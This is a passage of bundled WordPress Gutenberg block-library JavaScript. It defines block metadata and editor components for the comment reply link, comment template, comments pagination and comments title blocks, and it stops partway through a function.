  var { name: name22 } = block_default23;
  var settings22 = {
    icon: comment_edit_link_default,
    edit: Edit10,
    deprecated: deprecated_default11,
    example: {}
  };
  var init22 = () => initBlock({ name: name22, metadata: block_default23, settings: settings22 });

  // packages/block-library/build-module/comment-reply-link/index.mjs
  var comment_reply_link_exports = {};
  __export(comment_reply_link_exports, {
    init: () => init23,
    metadata: () => block_default24,
    name: () => name23,
    settings: () => settings23
  });

  // packages/block-library/build-module/comment-reply-link/block.json
  var block_default24 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/comment-reply-link",
    title: "Comment Reply Link",
    category: "theme",
    ancestor: ["core/comment-template"],
    description: "Displays a link to reply to a comment.",
    textdomain: "default",
    usesContext: ["commentId"],
    supports: {
      anchor: true,
      color: {
        gradients: true,
        link: true,
        text: false,
        __experimentalDefaultControls: {
          background: true,
          link: true
        }
      },
      spacing: {
        margin: true,
        padding: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        textAlign: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true
      },
      html: false
    },
    style: "wp-block-comment-reply-link"
  };

  // packages/block-library/build-module/comment-reply-link/edit.mjs
  var import_i18n37 = __toESM(require_i18n(), 1);
  var import_block_editor51 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime208 = __toESM(require_jsx_runtime(), 1);
  function Edit11(props) {
    useDeprecatedTextAlign(props);
    const blockProps = (0, import_block_editor51.useBlockProps)();
    return /* @__PURE__ */ (0, import_jsx_runtime208.jsx)(import_jsx_runtime208.Fragment, { children: /* @__PURE__ */ (0, import_jsx_runtime208.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime208.jsx)(
      "a",
      {
        href: "#comment-reply-pseudo-link",
        onClick: (event) => event.preventDefault(),
        /* translators: Comment reply button text. */
        children: (0, import_i18n37._x)("Reply", "verb")
      }
    ) }) });
  }
  var edit_default6 = Edit11;

  // packages/block-library/build-module/comment-reply-link/deprecated.mjs
  var v19 = {
    attributes: {
      textAlign: {
        type: "string"
      }
    },
    usesContext: ["commentId"],
    supports: {
      anchor: true,
      color: {
        gradients: true,
        link: true,
        text: false
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true
      },
      html: false
    },
    save() {
      return null;
    },
    migrate: migrate_text_align_default,
    isEligible(attributes2) {
      return !!attributes2.textAlign || !!attributes2.className?.match(
        /\bhas-text-align-(left|center|right)\b/
      );
    }
  };
  var deprecated_default12 = [v19];

  // packages/block-library/build-module/comment-reply-link/index.mjs
  var { name: name23 } = block_default24;
  var settings23 = {
    edit: edit_default6,
    icon: comment_reply_link_default,
    deprecated: deprecated_default12,
    example: {}
  };
  var init23 = () => initBlock({ name: name23, metadata: block_default24, settings: settings23 });

  // packages/block-library/build-module/comment-template/index.mjs
  var comment_template_exports = {};
  __export(comment_template_exports, {
    init: () => init24,
    metadata: () => block_default25,
    name: () => name24,
    settings: () => settings24
  });

  // packages/block-library/build-module/comment-template/block.json
  var block_default25 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/comment-template",
    title: "Comment Template",
    category: "design",
    parent: ["core/comments"],
    description: "Contains the block elements used to display a comment, like the title, date, author, avatar and more.",
    textdomain: "default",
    usesContext: ["postId"],
    supports: {
      anchor: true,
      align: true,
      html: false,
      reusable: false,
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    style: "wp-block-comment-template"
  };

  // packages/block-library/build-module/comment-template/edit.mjs
  var import_element17 = __toESM(require_element(), 1);
  var import_data25 = __toESM(require_data(), 1);
  var import_i18n38 = __toESM(require_i18n(), 1);
  var import_block_editor53 = __toESM(require_block_editor(), 1);
  var import_components26 = __toESM(require_components(), 1);
  var import_core_data13 = __toESM(require_core_data(), 1);

  // packages/block-library/build-module/comment-template/hooks.mjs
  var import_element16 = __toESM(require_element(), 1);
  var import_data24 = __toESM(require_data(), 1);
  var import_block_editor52 = __toESM(require_block_editor(), 1);
  var import_url3 = __toESM(require_url(), 1);
  var import_api_fetch = __toESM(require_api_fetch(), 1);
  var MAX_COMMENTS_PER_PAGE = 100;
  var useCommentQueryArgs = ({ postId }) => {
    const queryArgs = {
      status: "approve",
      order: "asc",
      context: "embed",
      parent: 0,
      _embed: "children"
    };
    const {
      pageComments,
      commentsPerPage,
      defaultCommentsPage: defaultPage
    } = (0, import_data24.useSelect)((select9) => {
      const { getSettings: getSettings2 } = select9(import_block_editor52.store);
      const { __experimentalDiscussionSettings } = getSettings2();
      return __experimentalDiscussionSettings ?? {};
    }, []);
    const perPage = pageComments ? Math.min(commentsPerPage, MAX_COMMENTS_PER_PAGE) : MAX_COMMENTS_PER_PAGE;
    const page = useDefaultPageIndex({
      defaultPage,
      postId,
      perPage,
      queryArgs
    });
    return (0, import_element16.useMemo)(() => {
      return page ? {
        ...queryArgs,
        post: postId,
        per_page: perPage,
        page
      } : null;
    }, [postId, perPage, page]);
  };
  var useDefaultPageIndex = ({ defaultPage, postId, perPage, queryArgs }) => {
    const [defaultPages, setDefaultPages] = (0, import_element16.useState)({});
    const key = `${postId}_${perPage}`;
    const page = defaultPages[key] || 0;
    (0, import_element16.useEffect)(() => {
      if (page || defaultPage !== "newest") {
        return;
      }
      (0, import_api_fetch.default)({
        path: (0, import_url3.addQueryArgs)("/wp/v2/comments", {
          ...queryArgs,
          post: postId,
          per_page: perPage,
          _fields: "id"
        }),
        method: "HEAD",
        parse: false
      }).then((res) => {
        const pages = parseInt(res.headers.get("X-WP-TotalPages"));
        setDefaultPages({
          ...defaultPages,
          [key]: pages <= 1 ? 1 : pages
          // If there are 0 pages, it means that there are no comments, but there is no 0th page.
        });
      }).catch(() => {
        setDefaultPages({
          ...defaultPages,
          [key]: 1
        });
      });
    }, [defaultPage, postId, perPage, setDefaultPages]);
    return defaultPage === "newest" ? page : 1;
  };
  var useCommentTree = (topLevelComments) => {
    const commentTree = (0, import_element16.useMemo)(
      () => topLevelComments?.map(({ id, _embedded }) => {
        const [children] = _embedded?.children || [[]];
        return {
          commentId: id,
          children: children.map((child) => ({
            commentId: child.id
          }))
        };
      }),
      [topLevelComments]
    );
    return commentTree;
  };

  // packages/block-library/build-module/comment-template/edit.mjs
  var import_jsx_runtime209 = __toESM(require_jsx_runtime(), 1);
  var TEMPLATE3 = [
    ["core/avatar"],
    ["core/comment-author-name"],
    ["core/comment-date"],
    ["core/comment-content"],
    ["core/comment-reply-link"],
    ["core/comment-edit-link"]
  ];
  var getCommentsPlaceholder = ({
    perPage,
    pageComments,
    threadComments,
    threadCommentsDepth
  }) => {
    const commentsDepth = !threadComments ? 1 : Math.min(threadCommentsDepth, 3);
    const buildChildrenComment = (commentsLevel) => {
      if (commentsLevel < commentsDepth) {
        const nextLevel = commentsLevel + 1;
        return [
          {
            commentId: -(commentsLevel + 3),
            children: buildChildrenComment(nextLevel)
          }
        ];
      }
      return [];
    };
    const placeholderComments = [
      { commentId: -1, children: buildChildrenComment(1) }
    ];
    if ((!pageComments || perPage >= 2) && commentsDepth < 3) {
      placeholderComments.push({
        commentId: -2,
        children: []
      });
    }
    if ((!pageComments || perPage >= 3) && commentsDepth < 2) {
      placeholderComments.push({
        commentId: -3,
        children: []
      });
    }
    return placeholderComments;
  };
  function CommentTemplateInnerBlocks({
    comment,
    activeCommentId,
    setActiveCommentId,
    firstCommentId,
    blocks
  }) {
    const { children, ...innerBlocksProps } = (0, import_block_editor53.useInnerBlocksProps)(
      {},
      { template: TEMPLATE3 }
    );
    return /* @__PURE__ */ (0, import_jsx_runtime209.jsxs)("li", { ...innerBlocksProps, children: [
      comment.commentId === (activeCommentId || firstCommentId) ? children : null,
      /* @__PURE__ */ (0, import_jsx_runtime209.jsx)(
        MemoizedCommentTemplatePreview,
        {
          blocks,
          commentId: comment.commentId,
          setActiveCommentId,
          isHidden: comment.commentId === (activeCommentId || firstCommentId)
        }
      ),
      comment?.children?.length > 0 ? /* @__PURE__ */ (0, import_jsx_runtime209.jsx)(
        CommentsList,
        {
          comments: comment.children,
          activeCommentId,
          setActiveCommentId,
          blocks,
          firstCommentId
        }
      ) : null
    ] });
  }
  var CommentTemplatePreview = ({
    blocks,
    commentId,
    setActiveCommentId,
    isHidden
  }) => {
    const blockPreviewProps = (0, import_block_editor53.__experimentalUseBlockPreview)({
      blocks
    });
    const handleOnClick = () => {
      setActiveCommentId(commentId);
    };
    const style2 = {
      display: isHidden ? "none" : void 0
    };
    return /* @__PURE__ */ (0, import_jsx_runtime209.jsx)(
      "div",
      {
        ...blockPreviewProps,
        tabIndex: 0,
        role: "button",
        style: style2,
        onClick: handleOnClick,
        onKeyPress: handleOnClick
      }
    );
  };
  var MemoizedCommentTemplatePreview = (0, import_element17.memo)(CommentTemplatePreview);
  var CommentsList = ({
    comments,
    blockProps,
    activeCommentId,
    setActiveCommentId,
    blocks,
    firstCommentId
  }) => /* @__PURE__ */ (0, import_jsx_runtime209.jsx)("ol", { ...blockProps, children: comments && comments.map(({ commentId, ...comment }, index) => /* @__PURE__ */ (0, import_jsx_runtime209.jsx)(
    import_block_editor53.BlockContextProvider,
    {
      value: {
        // If the commentId is negative it means that this comment is a
        // "placeholder" and that the block is most likely being used in the
        // site editor. In this case, we have to set the commentId to `null`
        // because otherwise the (non-existent) comment with a negative ID
        // would be requested from the REST API.
        commentId: commentId < 0 ? null : commentId
      },
      children: /* @__PURE__ */ (0, import_jsx_runtime209.jsx)(
        CommentTemplateInnerBlocks,
        {
          comment: { commentId, ...comment },
          activeCommentId,
          setActiveCommentId,
          blocks,
          firstCommentId
        }
      )
    },
    comment.commentId || index
  )) });
  function CommentTemplateEdit({
    clientId,
    context: { postId }
  }) {
    const blockProps = (0, import_block_editor53.useBlockProps)();
    const [activeCommentId, setActiveCommentId] = (0, import_element17.useState)();
    const {
      commentOrder,
      threadCommentsDepth,
      threadComments,
      commentsPerPage,
      pageComments
    } = (0, import_data25.useSelect)((select9) => {
      const { getSettings: getSettings2 } = select9(import_block_editor53.store);
      return getSettings2().__experimentalDiscussionSettings ?? {};
    }, []);
    const commentQuery = useCommentQueryArgs({
      postId
    });
    const { topLevelComments, blocks } = (0, import_data25.useSelect)(
      (select9) => {
        const { getEntityRecords } = select9(import_core_data13.store);
        const { getBlocks } = select9(import_block_editor53.store);
        return {
          // Request only top-level comments. Replies are embedded.
          topLevelComments: commentQuery ? getEntityRecords("root", "comment", commentQuery) : null,
          blocks: getBlocks(clientId)
        };
      },
      [clientId, commentQuery]
    );
    let commentTree = useCommentTree(
      // Reverse the order of top comments if needed.
      commentOrder === "desc" && topLevelComments ? [...topLevelComments].reverse() : topLevelComments
    );
    if (!topLevelComments) {
      return /* @__PURE__ */ (0, import_jsx_runtime209.jsx)("p", { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime209.jsx)(import_components26.Spinner, {}) });
    }
    if (!postId) {
      commentTree = getCommentsPlaceholder({
        perPage: commentsPerPage,
        pageComments,
        threadComments,
        threadCommentsDepth
      });
    }
    if (!commentTree.length) {
      return /* @__PURE__ */ (0, import_jsx_runtime209.jsx)("p", { ...blockProps, children: (0, import_i18n38.__)("No results found.") });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime209.jsx)(
      CommentsList,
      {
        comments: commentTree,
        blockProps,
        blocks,
        activeCommentId,
        setActiveCommentId,
        firstCommentId: commentTree[0]?.commentId
      }
    );
  }

  // packages/block-library/build-module/comment-template/save.mjs
  var import_block_editor54 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime210 = __toESM(require_jsx_runtime(), 1);
  function CommentTemplateSave() {
    return /* @__PURE__ */ (0, import_jsx_runtime210.jsx)(import_block_editor54.InnerBlocks.Content, {});
  }

  // packages/block-library/build-module/comment-template/index.mjs
  var { name: name24 } = block_default25;
  var settings24 = {
    icon: layout_default,
    edit: CommentTemplateEdit,
    save: CommentTemplateSave
  };
  var init24 = () => initBlock({ name: name24, metadata: block_default25, settings: settings24 });

  // packages/block-library/build-module/comments-pagination-previous/index.mjs
  var comments_pagination_previous_exports = {};
  __export(comments_pagination_previous_exports, {
    init: () => init25,
    metadata: () => block_default26,
    name: () => name25,
    settings: () => settings25
  });
  var import_i18n40 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/comments-pagination-previous/block.json
  var block_default26 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/comments-pagination-previous",
    title: "Comments Previous Page",
    category: "theme",
    parent: ["core/comments-pagination"],
    description: "Displays the previous comment's page link.",
    textdomain: "default",
    attributes: {
      label: {
        type: "string"
      }
    },
    usesContext: ["postId", "comments/paginationArrow"],
    supports: {
      anchor: true,
      reusable: false,
      html: false,
      color: {
        gradients: true,
        text: false,
        __experimentalDefaultControls: {
          background: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    }
  };

  // packages/block-library/build-module/comments-pagination-previous/edit.mjs
  var import_i18n39 = __toESM(require_i18n(), 1);
  var import_block_editor55 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime211 = __toESM(require_jsx_runtime(), 1);
  var arrowMap = {
    none: "",
    arrow: "\u2190",
    chevron: "\xAB"
  };
  function CommentsPaginationPreviousEdit({
    attributes: { label },
    setAttributes,
    context: { "comments/paginationArrow": paginationArrow }
  }) {
    const displayArrow = arrowMap[paginationArrow];
    return /* @__PURE__ */ (0, import_jsx_runtime211.jsxs)(
      "a",
      {
        href: "#comments-pagination-previous-pseudo-link",
        onClick: (event) => event.preventDefault(),
        ...(0, import_block_editor55.useBlockProps)(),
        children: [
          displayArrow && /* @__PURE__ */ (0, import_jsx_runtime211.jsx)(
            "span",
            {
              className: `wp-block-comments-pagination-previous-arrow is-arrow-${paginationArrow}`,
              children: displayArrow
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime211.jsx)(
            import_block_editor55.PlainText,
            {
              __experimentalVersion: 2,
              tagName: "span",
              "aria-label": (0, import_i18n39.__)("Older comments page link"),
              placeholder: (0, import_i18n39.__)("Older Comments"),
              value: label,
              onChange: (newLabel) => setAttributes({ label: newLabel })
            }
          )
        ]
      }
    );
  }

  // packages/block-library/build-module/comments-pagination-previous/index.mjs
  var { name: name25 } = block_default26;
  var settings25 = {
    icon: query_pagination_previous_default,
    edit: CommentsPaginationPreviousEdit,
    example: {
      attributes: {
        label: (0, import_i18n40.__)("Older Comments")
      }
    }
  };
  var init25 = () => initBlock({ name: name25, metadata: block_default26, settings: settings25 });

  // packages/block-library/build-module/comments-pagination/index.mjs
  var comments_pagination_exports = {};
  __export(comments_pagination_exports, {
    init: () => init26,
    metadata: () => block_default27,
    name: () => name26,
    settings: () => settings26
  });

  // packages/block-library/build-module/comments-pagination/block.json
  var block_default27 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/comments-pagination",
    title: "Comments Pagination",
    category: "theme",
    parent: ["core/comments"],
    allowedBlocks: [
      "core/comments-pagination-previous",
      "core/comments-pagination-numbers",
      "core/comments-pagination-next"
    ],
    description: "Displays a paginated navigation to next/previous set of comments, when applicable.",
    textdomain: "default",
    attributes: {
      paginationArrow: {
        type: "string",
        default: "none"
      }
    },
    example: {
      attributes: {
        paginationArrow: "none"
      }
    },
    providesContext: {
      "comments/paginationArrow": "paginationArrow"
    },
    supports: {
      anchor: true,
      align: true,
      reusable: false,
      html: false,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      },
      layout: {
        allowSwitching: false,
        allowInheriting: false,
        default: {
          type: "flex"
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    },
    editorStyle: "wp-block-comments-pagination-editor",
    style: "wp-block-comments-pagination"
  };

  // packages/block-library/build-module/comments-pagination/edit.mjs
  var import_i18n42 = __toESM(require_i18n(), 1);
  var import_block_editor56 = __toESM(require_block_editor(), 1);
  var import_data26 = __toESM(require_data(), 1);
  var import_components28 = __toESM(require_components(), 1);

  // packages/block-library/build-module/comments-pagination/comments-pagination-arrow-controls.mjs
  var import_i18n41 = __toESM(require_i18n(), 1);
  var import_components27 = __toESM(require_components(), 1);
  var import_jsx_runtime212 = __toESM(require_jsx_runtime(), 1);
  function CommentsPaginationArrowControls({ value, onChange }) {
    return /* @__PURE__ */ (0, import_jsx_runtime212.jsxs)(
      import_components27.__experimentalToggleGroupControl,
      {
        __next40pxDefaultSize: true,
        label: (0, import_i18n41.__)("Arrow"),
        value,
        onChange,
        help: (0, import_i18n41.__)(
          "A decorative arrow appended to the next and previous comments link."
        ),
        isBlock: true,
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime212.jsx)(
            import_components27.__experimentalToggleGroupControlOption,
            {
              value: "none",
              label: (0, import_i18n41._x)(
                "None",
                "Arrow option for Comments Pagination Next/Previous blocks"
              )
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime212.jsx)(
            import_components27.__experimentalToggleGroupControlOption,
            {
              value: "arrow",
              label: (0, import_i18n41._x)(
                "Arrow",
                "Arrow option for Comments Pagination Next/Previous blocks"
              )
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime212.jsx)(
            import_components27.__experimentalToggleGroupControlOption,
            {
              value: "chevron",
              label: (0, import_i18n41._x)(
                "Chevron",
                "Arrow option for Comments Pagination Next/Previous blocks"
              )
            }
          )
        ]
      }
    );
  }

  // packages/block-library/build-module/comments-pagination/edit.mjs
  var import_jsx_runtime213 = __toESM(require_jsx_runtime(), 1);
  var TEMPLATE4 = [
    ["core/comments-pagination-previous"],
    ["core/comments-pagination-numbers"],
    ["core/comments-pagination-next"]
  ];
  function QueryPaginationEdit({
    attributes: { paginationArrow },
    setAttributes,
    clientId
  }) {
    const hasNextPreviousBlocks = (0, import_data26.useSelect)((select9) => {
      const { getBlocks } = select9(import_block_editor56.store);
      const innerBlocks = getBlocks(clientId);
      return innerBlocks?.find((innerBlock) => {
        return [
          "core/comments-pagination-previous",
          "core/comments-pagination-next"
        ].includes(innerBlock.name);
      });
    }, []);
    const blockProps = (0, import_block_editor56.useBlockProps)();
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const innerBlocksProps = (0, import_block_editor56.useInnerBlocksProps)(blockProps, {
      template: TEMPLATE4
    });
    const pageComments = (0, import_data26.useSelect)((select9) => {
      const { getSettings: getSettings2 } = select9(import_block_editor56.store);
      const { __experimentalDiscussionSettings } = getSettings2();
      return __experimentalDiscussionSettings?.pageComments;
    }, []);
    if (!pageComments) {
      return /* @__PURE__ */ (0, import_jsx_runtime213.jsx)(import_block_editor56.Warning, { children: (0, import_i18n42.__)(
        "Comments Pagination block: paging comments is disabled in the Discussion Settings"
      ) });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime213.jsxs)(import_jsx_runtime213.Fragment, { children: [
      hasNextPreviousBlocks && /* @__PURE__ */ (0, import_jsx_runtime213.jsx)(import_block_editor56.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime213.jsx)(
        import_components28.__experimentalToolsPanel,
        {
          label: (0, import_i18n42.__)("Settings"),
          dropdownMenuProps,
          resetAll: () => setAttributes({ paginationArrow: "none" }),
          children: /* @__PURE__ */ (0, import_jsx_runtime213.jsx)(
            import_components28.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n42.__)("Arrow"),
              hasValue: () => paginationArrow !== "none",
              onDeselect: () => setAttributes({ paginationArrow: "none" }),
              isShownByDefault: true,
              children: /* @__PURE__ */ (0, import_jsx_runtime213.jsx)(
                CommentsPaginationArrowControls,
                {
                  value: paginationArrow,
                  onChange: (value) => {
                    setAttributes({ paginationArrow: value });
                  }
                }
              )
            }
          )
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime213.jsx)("div", { ...innerBlocksProps })
    ] });
  }

  // packages/block-library/build-module/comments-pagination/save.mjs
  var import_block_editor57 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime214 = __toESM(require_jsx_runtime(), 1);
  function save13() {
    return /* @__PURE__ */ (0, import_jsx_runtime214.jsx)(import_block_editor57.InnerBlocks.Content, {});
  }

  // packages/block-library/build-module/comments-pagination/index.mjs
  var { name: name26 } = block_default27;
  var settings26 = {
    icon: query_pagination_default,
    edit: QueryPaginationEdit,
    save: save13
  };
  var init26 = () => initBlock({ name: name26, metadata: block_default27, settings: settings26 });

  // packages/block-library/build-module/comments-pagination-next/index.mjs
  var comments_pagination_next_exports = {};
  __export(comments_pagination_next_exports, {
    init: () => init27,
    metadata: () => block_default28,
    name: () => name27,
    settings: () => settings27
  });
  var import_i18n44 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/comments-pagination-next/block.json
  var block_default28 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/comments-pagination-next",
    title: "Comments Next Page",
    category: "theme",
    parent: ["core/comments-pagination"],
    description: "Displays the next comment's page link.",
    textdomain: "default",
    attributes: {
      label: {
        type: "string"
      }
    },
    usesContext: ["postId", "comments/paginationArrow"],
    supports: {
      anchor: true,
      reusable: false,
      html: false,
      color: {
        gradients: true,
        text: false,
        __experimentalDefaultControls: {
          background: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    }
  };

  // packages/block-library/build-module/comments-pagination-next/edit.mjs
  var import_i18n43 = __toESM(require_i18n(), 1);
  var import_block_editor58 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime215 = __toESM(require_jsx_runtime(), 1);
  var arrowMap2 = {
    none: "",
    arrow: "\u2192",
    chevron: "\xBB"
  };
  function CommentsPaginationNextEdit({
    attributes: { label },
    setAttributes,
    context: { "comments/paginationArrow": paginationArrow }
  }) {
    const displayArrow = arrowMap2[paginationArrow];
    return /* @__PURE__ */ (0, import_jsx_runtime215.jsxs)(
      "a",
      {
        href: "#comments-pagination-next-pseudo-link",
        onClick: (event) => event.preventDefault(),
        ...(0, import_block_editor58.useBlockProps)(),
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime215.jsx)(
            import_block_editor58.PlainText,
            {
              __experimentalVersion: 2,
              tagName: "span",
              "aria-label": (0, import_i18n43.__)("Newer comments page link"),
              placeholder: (0, import_i18n43.__)("Newer Comments"),
              value: label,
              onChange: (newLabel) => setAttributes({ label: newLabel })
            }
          ),
          displayArrow && /* @__PURE__ */ (0, import_jsx_runtime215.jsx)(
            "span",
            {
              className: `wp-block-comments-pagination-next-arrow is-arrow-${paginationArrow}`,
              children: displayArrow
            }
          )
        ]
      }
    );
  }

  // packages/block-library/build-module/comments-pagination-next/index.mjs
  var { name: name27 } = block_default28;
  var settings27 = {
    icon: query_pagination_next_default,
    edit: CommentsPaginationNextEdit,
    example: {
      attributes: {
        label: (0, import_i18n44.__)("Newer Comments")
      }
    }
  };
  var init27 = () => initBlock({ name: name27, metadata: block_default28, settings: settings27 });

  // packages/block-library/build-module/comments-pagination-numbers/index.mjs
  var comments_pagination_numbers_exports = {};
  __export(comments_pagination_numbers_exports, {
    init: () => init28,
    metadata: () => block_default29,
    name: () => name28,
    settings: () => settings28
  });

  // packages/block-library/build-module/comments-pagination-numbers/block.json
  var block_default29 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/comments-pagination-numbers",
    title: "Comments Page Numbers",
    category: "theme",
    parent: ["core/comments-pagination"],
    description: "Displays a list of page numbers for comments pagination.",
    textdomain: "default",
    usesContext: ["postId"],
    supports: {
      anchor: true,
      reusable: false,
      html: false,
      color: {
        gradients: true,
        text: false,
        __experimentalDefaultControls: {
          background: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      spacing: {
        margin: true,
        padding: true,
        __experimentalDefaultControls: {
          padding: true
        }
      }
    }
  };

  // packages/block-library/build-module/comments-pagination-numbers/edit.mjs
  var import_block_editor59 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime216 = __toESM(require_jsx_runtime(), 1);
  var PaginationItem = ({ content, tag: Tag = "a", extraClass = "" }) => Tag === "a" ? /* @__PURE__ */ (0, import_jsx_runtime216.jsx)(
    Tag,
    {
      className: `page-numbers ${extraClass}`,
      href: "#comments-pagination-numbers-pseudo-link",
      onClick: (event) => event.preventDefault(),
      children: content
    }
  ) : /* @__PURE__ */ (0, import_jsx_runtime216.jsx)(Tag, { className: `page-numbers ${extraClass}`, children: content });
  function CommentsPaginationNumbersEdit() {
    return /* @__PURE__ */ (0, import_jsx_runtime216.jsxs)("div", { ...(0, import_block_editor59.useBlockProps)(), children: [
      /* @__PURE__ */ (0, import_jsx_runtime216.jsx)(PaginationItem, { content: "1" }),
      /* @__PURE__ */ (0, import_jsx_runtime216.jsx)(PaginationItem, { content: "2" }),
      /* @__PURE__ */ (0, import_jsx_runtime216.jsx)(PaginationItem, { content: "3", tag: "span", extraClass: "current" }),
      /* @__PURE__ */ (0, import_jsx_runtime216.jsx)(PaginationItem, { content: "4" }),
      /* @__PURE__ */ (0, import_jsx_runtime216.jsx)(PaginationItem, { content: "5" }),
      /* @__PURE__ */ (0, import_jsx_runtime216.jsx)(PaginationItem, { content: "...", tag: "span", extraClass: "dots" }),
      /* @__PURE__ */ (0, import_jsx_runtime216.jsx)(PaginationItem, { content: "8" })
    ] });
  }

  // packages/block-library/build-module/comments-pagination-numbers/index.mjs
  var { name: name28 } = block_default29;
  var settings28 = {
    icon: query_pagination_numbers_default,
    edit: CommentsPaginationNumbersEdit,
    example: {}
  };
  var init28 = () => initBlock({ name: name28, metadata: block_default29, settings: settings28 });

  // packages/block-library/build-module/comments-title/index.mjs
  var comments_title_exports = {};
  __export(comments_title_exports, {
    init: () => init29,
    metadata: () => block_default30,
    name: () => name29,
    settings: () => settings29
  });

  // packages/block-library/build-module/comments-title/block.json
  var block_default30 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/comments-title",
    title: "Comments Title",
    category: "theme",
    ancestor: ["core/comments"],
    description: "Displays a title with the number of comments.",
    textdomain: "default",
    usesContext: ["postId", "postType"],
    attributes: {
      showPostTitle: {
        type: "boolean",
        default: true
      },
      showCommentsCount: {
        type: "boolean",
        default: true
      },
      level: {
        type: "number",
        default: 2
      },
      levelOptions: {
        type: "array"
      }
    },
    supports: {
      anchor: true,
      align: true,
      html: false,
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true
      },
      color: {
        gradients: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        textAlign: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true,
          __experimentalFontFamily: true,
          __experimentalFontStyle: true,
          __experimentalFontWeight: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    }
  };

  // packages/block-library/build-module/comments-title/edit.mjs
  var import_block_editor60 = __toESM(require_block_editor(), 1);
  var import_i18n45 = __toESM(require_i18n(), 1);
  var import_core_data14 = __toESM(require_core_data(), 1);
  var import_components29 = __toESM(require_components(), 1);
  var import_element18 = __toESM(require_element(), 1);
  var import_data27 = __toESM(require_data(), 1);
  var import_api_fetch2 = __toESM(require_api_fetch(), 1);
  var import_url4 = __toESM(require_url(), 1);
  var import_jsx_runtime217 = __toESM(require_jsx_runtime(), 1);
  function Edit12(props) {
    useDeprecatedTextAlign(props);
    const { attributes: attributes2, setAttributes, context } = props;
    const {
